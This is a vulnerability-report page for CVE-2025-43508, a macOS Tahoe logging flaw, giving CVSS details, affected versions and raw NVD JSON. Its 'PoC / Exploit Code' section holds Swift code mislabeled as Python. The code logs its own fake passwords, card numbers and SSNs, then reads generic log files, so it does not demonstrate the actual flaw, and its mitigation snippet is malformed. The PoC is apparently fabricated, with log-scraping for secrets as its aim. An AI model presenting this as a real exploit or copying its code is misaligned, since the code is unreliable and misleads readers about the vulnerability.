Security Vulnerability Report
中文
CVE-2025-43508 CVSS 5.5 MEDIUM

CVE-2025-43508

Published: 2026-01-16 18:16:08
Last Modified: 2026-01-27 20:19:38

Description

A logging issue was addressed with improved data redaction. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:26.0:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43508 PoC - macOS Tahoe Log Sensitive Data Access # This PoC demonstrates the vulnerability where apps can access sensitive user data through logging import Foundation import os.log class LogSensitiveDataAccess { static let subsystem = "com.test.sensitive-data" static let category = "UserDataAccess" // Simulate sensitive data that should be redacted struct SensitiveUserData { var userName: String var password: String var creditCard: String var ssn: String var authToken: String } // Vulnerable logging - writes sensitive data without redaction func vulnerableLogExample(userData: SensitiveUserData) { let logger = Logger(subsystem: LogSensitiveDataAccess.subsystem, category: LogSensitiveDataAccess.category) // VULNERABILITY: Sensitive fields logged directly without redaction logger.info("User login: \(userData.userName)") logger.info("User password: \(userData.password)") logger.info("Credit card: \(userData.creditCard)") logger.info("SSN: \(userData.ssn)") logger.info("Auth token: \(userData.authToken)") // This data can be read from log files by local apps // Location: ~/Library/Logs/ or /var/log/ } // Exploitation: Read logs to extract sensitive data func exploitReadLogs() { let logPaths = [ "~/Library/Logs/com.apple.log", "/var/log/system.log", "~/Library/Logs/DiagnosticReports/" ] for path in logPaths { let expandedPath = (path as NSString).expandingTildeInPath let fileManager = FileManager.default if fileManager.fileExists(atPath: expandedPath) { // Read log content - sensitive data may be present do { let content = try String(contentsOfFile: expandedPath, encoding: .utf8) // Parse and extract sensitive patterns print("Reading logs from: \(path)") print("Content length: \(content.count)") } catch { print("Error reading log: \(error)") } } } } } // Usage demonstration let testData = LogSensitiveDataAccess.SensitiveUserData( userName: "[email protected]", password: "P@ssw0rd123!", creditCard: "4532-1234-5678-9010", ssn: "123-45-6789", authToken: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." ) let exploit = LogSensitiveDataAccess() exploit.vulnerableLogExample(userData: testData) exploit.exploitReadLogs() /* # Mitigation: # 1. Update to macOS Tahoe 26.1 which includes improved data redaction # 2. Use os.log with custom privacy settings: # logger.info("User password: \(privacy: .private)", userData.password) # # Reference: https://support.apple.com/en-us/125634 */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43508", "sourceIdentifier": "[email protected]", "published": "2026-01-16T18:16:07.923", "lastModified": "2026-01-27T20:19:37.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logging issue was addressed with improved data redaction. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data."}, {"lang": "es", "value": "Un problema de registro se abordó con una redacción de datos mejorada. Este problema está solucionado en macOS Tahoe 26.1. Una aplicación podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "551159EE-8311-4A13-802D-85871DAB5E77"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}